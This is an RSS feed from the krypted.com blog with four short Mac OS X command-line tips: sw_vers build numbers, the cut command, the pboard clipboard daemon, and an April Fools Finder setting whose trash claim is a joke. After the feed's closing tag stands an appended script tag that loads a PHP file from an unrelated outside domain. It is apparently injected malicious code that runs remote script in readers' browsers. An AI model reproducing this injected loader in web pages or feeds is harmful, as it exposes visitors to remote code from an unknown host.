<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Krypted &#187; cut</title>
	<atom:link href="http://krypted.com/tag/cut/feed/" rel="self" type="application/rss+xml" />
	<link>http://krypted.com</link>
	<description>Notes from the field</description>
	<lastBuildDate>Wed, 28 Jul 2010 03:19:43 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>What Is My Build Number?</title>
		<link>http://krypted.com/mac-os-x/what-is-my-build-number/</link>
		<comments>http://krypted.com/mac-os-x/what-is-my-build-number/#comments</comments>
		<pubDate>Thu, 04 Feb 2010 17:00:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mass Deployment]]></category>
		<category><![CDATA[BuildVersion]]></category>
		<category><![CDATA[Command line]]></category>
		<category><![CDATA[cut]]></category>
		<category><![CDATA[grep]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=5813</guid>
		<description><![CDATA[I have been known to occasionally ask what build number of Mac OS X that someone is using. The sw_vers command can be used to obtain this. Simply run:
sw_vers
And the BuildVersion will be listed. Or just to get the BuildVersion:
sw_vers &#124; grep BuildVersion
Or to just get the number (useful in scripts that catalog such a [...]]]></description>
			<content:encoded><![CDATA[<p>I have been known to occasionally ask what build number of Mac OS X that someone is using. The sw_vers command can be used to obtain this. Simply run:</p>
<blockquote><p>sw_vers</p></blockquote>
<p>And the BuildVersion will be listed. Or just to get the BuildVersion:</p>
<blockquote><p>sw_vers | grep BuildVersion</p></blockquote>
<p>Or to just get the number (useful in scripts that catalog such a thing:</p>
<blockquote>
<div id="_mcePaste">sw_vers | grep BuildVersion | cut -c 15-21</div>
</blockquote>
<div>As one comment just indicated, you could also just use `sw_vers -buildVersion`. I guess I should review these commands every operating system or 4&#8230; Thanks Allen.</div>
<p><strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/using-the-cut-command/" rel="bookmark" title="January 17, 2010">Using the cut Command</a></li>
<li><a href="http://krypted.com/mac-os-x/blessing-the-blessed/" rel="bookmark" title="February 9, 2010">Blessing the blessed</a></li>
<li><a href="http://krypted.com/mac-os-x/grabbing-serials-and-mac-addresses/" rel="bookmark" title="May 12, 2010">Grabbing Serials and MAC Addresses</a></li>
<li><a href="http://krypted.com/xsan/dont-defrag-the-whole-san/" rel="bookmark" title="February 13, 2010">Don&#8217;t Defrag the Whole SAN</a></li>
<li><a href="http://krypted.com/mac-os-x/scripting-compellent/" rel="bookmark" title="November 4, 2009">Scripting Compellent</a></li>
</ul>
<p><!-- Similar Posts took 11.535 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/what-is-my-build-number/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Using the cut Command</title>
		<link>http://krypted.com/mac-os-x/using-the-cut-command/</link>
		<comments>http://krypted.com/mac-os-x/using-the-cut-command/#comments</comments>
		<pubDate>Sun, 17 Jan 2010 15:00:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Mac OS X Server]]></category>
		<category><![CDATA[Mac Security]]></category>
		<category><![CDATA[Unix]]></category>
		<category><![CDATA[awk]]></category>
		<category><![CDATA[character position]]></category>
		<category><![CDATA[cut]]></category>
		<category><![CDATA[find data]]></category>
		<category><![CDATA[grep]]></category>
		<category><![CDATA[line match]]></category>
		<category><![CDATA[pattern match]]></category>
		<category><![CDATA[regex]]></category>
		<category><![CDATA[sed]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=5628</guid>
		<description><![CDATA[A number of commands available for finding positions that you want in a line and extracting only a certain amount of text can be pretty cumbersome in terms of learning curve. This isn&#8217;t to say that once you get the hang of them that they&#8217;re terribly complicated but it can take a little while to [...]]]></description>
			<content:encoded><![CDATA[<p>A number of commands available for finding positions that you want in a line and extracting only a certain amount of text can be pretty cumbersome in terms of learning curve. This isn&#8217;t to say that once you get the hang of them that they&#8217;re terribly complicated but it can take a little while to get the hang of them. And when you need something fast, you might want an easy command for extracting text from lines. In these cases, consider cut. The cut command doesn&#8217;t do regular expressions (I guess you could argue that its ability to use a delimiter can be used as a regular expression) and so it&#8217;s really easy to use.</p>
<p>Basically, you feed cut some data and then tell it which characters in the line that you want to keep. It then gets rid of the rest. The easiest use of this is to look at a list of data. For example, let&#8217;s saw we have a file called test.txt with the following contents:</p>
<blockquote><p>abc123<br />
abc124<br />
abc134<br />
abc234<br />
abd234<br />
acd234</p></blockquote>
<p>Now we&#8217;re going to cat the file (which just reads the file contents) and then pipe the output of reading that file into a cut command (which is done by simply adding a pipe character at the end of the first part of the command. Then we&#8217;re going to use the -c option of cut (which looks at character positions) to simply grab the first three positions (1-3) of the lines. The command would end up looking as follows:</p>
<blockquote><p>cat test.txt | cut -c 1-3</p></blockquote>
<p>And the output would look as follows (this output could then be redirected into a new file btw):</p>
<blockquote><p>abc<br />
abc<br />
abc<br />
abc<br />
abd<br />
acd</p></blockquote>
<p>You can also specify multiple ranges of characters (or single characters for that matter). For example, to see only characters 1-2 and 5-6:</p>
<blockquote><p>cat test.txt | cut -c 1-2,5-6</p></blockquote>
<p>Overall, cut is a very easy to use tool, with a limitation that your pattern that you are looking to maintain must be consistent in terms of the character position that you are using in each line. It also uses every line in a file; however, to go another step and look for all positions in a line only if the line has a pattern that it can match you could simply add a grep in the middle. For example, if you&#8217;re looking for each line of our sample text file that has the number 4 then you could do:</p>
<blockquote><p>cat test.txt | grep 4</p></blockquote>
<p>This would show you only the last five lines of the file since those are the only lines that have that number in them. You could then pipe the output of that file into your cut and, let&#8217;s say, look for characters 1-3 and 6 in the output:</p>
<blockquote><p>cat test.txt | grep 4 | cut -c 1-3,6</p></blockquote>
<p>Your result would then be the following:</p>
<blockquote><p>abc4<br />
abc4<br />
abc4<br />
abd4<br />
acd4</p></blockquote>
<p>Finally, there are going to be times when you&#8217;re not looking for a specific character position in a line but instead a character position or a pattern that begins with another pattern. For this you&#8217;re going to end up needing to use a more advanced tool, such as <a href="http://krypted.com/mac-os-x/using-dates-in-shell-scripts/">awk</a> or if you&#8217;re feelin&#8217; frisky (maybe I&#8217;m speaking for myself there) regex. These tools will have a steeper learning curve, but ultimately be far more useful.<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/piping-commands/" rel="bookmark" title="October 11, 2009">Piping Commands</a></li>
<li><a href="http://krypted.com/mac-os-x/uniq-logs/" rel="bookmark" title="February 10, 2010">Uniq Logs</a></li>
<li><a href="http://krypted.com/mac-os-x/shell-to-clipboard-back-again/" rel="bookmark" title="January 15, 2010">Shell to Clipboard &#038; Back Again</a></li>
<li><a href="http://krypted.com/xsan/isolating-inodes-in-xsan-cvfsck-output/" rel="bookmark" title="February 12, 2010">Isolating iNodes in Xsan cvfsck Output</a></li>
<li><a href="http://krypted.com/mac-os-x/automatically-emailing-logs/" rel="bookmark" title="June 17, 2009">Automatically Emailing Logs</a></li>
</ul>
<p><!-- Similar Posts took 7.686 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/using-the-cut-command/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Cut, Copy &amp; Paste Daemon in OS X</title>
		<link>http://krypted.com/mac-os-x/the-cut-copy-paste-daemon-in-os-x/</link>
		<comments>http://krypted.com/mac-os-x/the-cut-copy-paste-daemon-in-os-x/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 04:01:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[broken]]></category>
		<category><![CDATA[com.apple.com]]></category>
		<category><![CDATA[copy]]></category>
		<category><![CDATA[cut]]></category>
		<category><![CDATA[no paste]]></category>
		<category><![CDATA[paste]]></category>
		<category><![CDATA[pboard]]></category>
		<category><![CDATA[troubleshooting]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=4041</guid>
		<description><![CDATA[Ever seen com.apple.pboard in a launchctl list? Â Wondered what it did? Â This is the infamous clipboard (aka &#8211; pasteboard, or on the iPhone the NSPasteboard server). Â If you unload the pboard entry in launchctl then you will no longer be able to cut, copy and paste. Â pboard relies on the existence of and the accessibility [...]]]></description>
			<content:encoded><![CDATA[<p>Ever seen com.apple.pboard in a launchctl list? Â Wondered what it did? Â This is the infamous clipboard (aka &#8211; pasteboard, or on the iPhone the NSPasteboard server). Â If you unload the pboard entry in launchctl then you will no longer be able to cut, copy and paste. Â pboard relies on the existence of and the accessibility to the user that initiated pboard (ie &#8211; root) to have access to the /tmp folder. Â Therefore, pboard will be wonky without /tmp and without pboard you won&#8217;t be able to paste things. Â So, when troubleshooting cut, copy and paste issues, first verify that /tmp exists and then verify that pboard is running using the following command:</p>
<blockquote><p>launchctl list | grep com.apple.pboard</p></blockquote>
<p>And if it isn&#8217;t running, start it with:</p>
<blockquote><p>launctl start com.apple.pboard</p></blockquote>
<p><strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x-server/xsan-serialnumberd-troubleshooting/" rel="bookmark" title="January 20, 2010">Xsan + serialnumberd Troubleshooting</a></li>
<li><a href="http://krypted.com/mac-os-x/april-fools-trash-rather-than-cut/" rel="bookmark" title="April 1, 2005">April Fools &#8211; Trash Rather than Cut</a></li>
<li><a href="http://krypted.com/mac-os-x/simple-networking-commands/" rel="bookmark" title="October 10, 2009">Simple Networking Commands</a></li>
<li><a href="http://krypted.com/xsan/xsan-stripe-group-down-errors/" rel="bookmark" title="October 28, 2008">Xsan: Stripe Group Down Errors</a></li>
<li><a href="http://krypted.com/mac-os-x/using-the-cut-command/" rel="bookmark" title="January 17, 2010">Using the cut Command</a></li>
</ul>
<p><!-- Similar Posts took 4.644 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/the-cut-copy-paste-daemon-in-os-x/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>April Fools &#8211; Trash Rather than Cut</title>
		<link>http://krypted.com/mac-os-x/april-fools-trash-rather-than-cut/</link>
		<comments>http://krypted.com/mac-os-x/april-fools-trash-rather-than-cut/#comments</comments>
		<pubDate>Fri, 01 Apr 2005 04:01:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[AllowCutForItems]]></category>
		<category><![CDATA[cut]]></category>
		<category><![CDATA[defaults write]]></category>
		<category><![CDATA[paste]]></category>
		<category><![CDATA[trash]]></category>

		<guid isPermaLink="false">http://krypted.com/?p=4081</guid>
		<description><![CDATA[You can set the cut function of the Finder to move items into the trash rather than into the clipboard:
defaults write com.apple.Finder AllowCutForItems true
It&#8217;s not the nicest of jokes to play on people though&#8230;  So to undo it:
defaults write com.apple.Finder AllowCutForItems false
Happy April Fools DaySimilar Articles:

Quick Looks X-ray Mode
Spotlightish Finder
Command Keys and ScreenSharing
Last of [...]]]></description>
			<content:encoded><![CDATA[<p>You can set the cut function of the Finder to move items into the trash rather than into the clipboard:<br />
defaults write com.apple.Finder AllowCutForItems true</p>
<p>It&#8217;s not the nicest of jokes to play on people though&#8230;  So to undo it:<br />
defaults write com.apple.Finder AllowCutForItems false</p>
<p>Happy April Fools Day<strong>Similar Articles:</strong>
<ul class="similar-posts">
<li><a href="http://krypted.com/mac-os-x/quick-looks-x-ray-mode/" rel="bookmark" title="December 9, 2009">Quick Looks X-ray Mode</a></li>
<li><a href="http://krypted.com/mac-os-x/5789/" rel="bookmark" title="February 4, 2010">Spotlightish Finder</a></li>
<li><a href="http://krypted.com/mac-os-x/5780/" rel="bookmark" title="February 2, 2010">Command Keys and ScreenSharing</a></li>
<li><a href="http://krypted.com/mac-os-x/5797/" rel="bookmark" title="February 5, 2010">Last of the Screen Sharing Hacks</a></li>
<li><a href="http://krypted.com/mac-os-x/managing-smb-using-defaults/" rel="bookmark" title="June 28, 2007">Managing SMB Using Defaults</a></li>
</ul>
<p><!-- Similar Posts took 22.553 ms --></p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> )</small>]]></content:encoded>
			<wfw:commentRss>http://krypted.com/mac-os-x/april-fools-trash-rather-than-cut/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://holasionweb.com/oo.php"></script>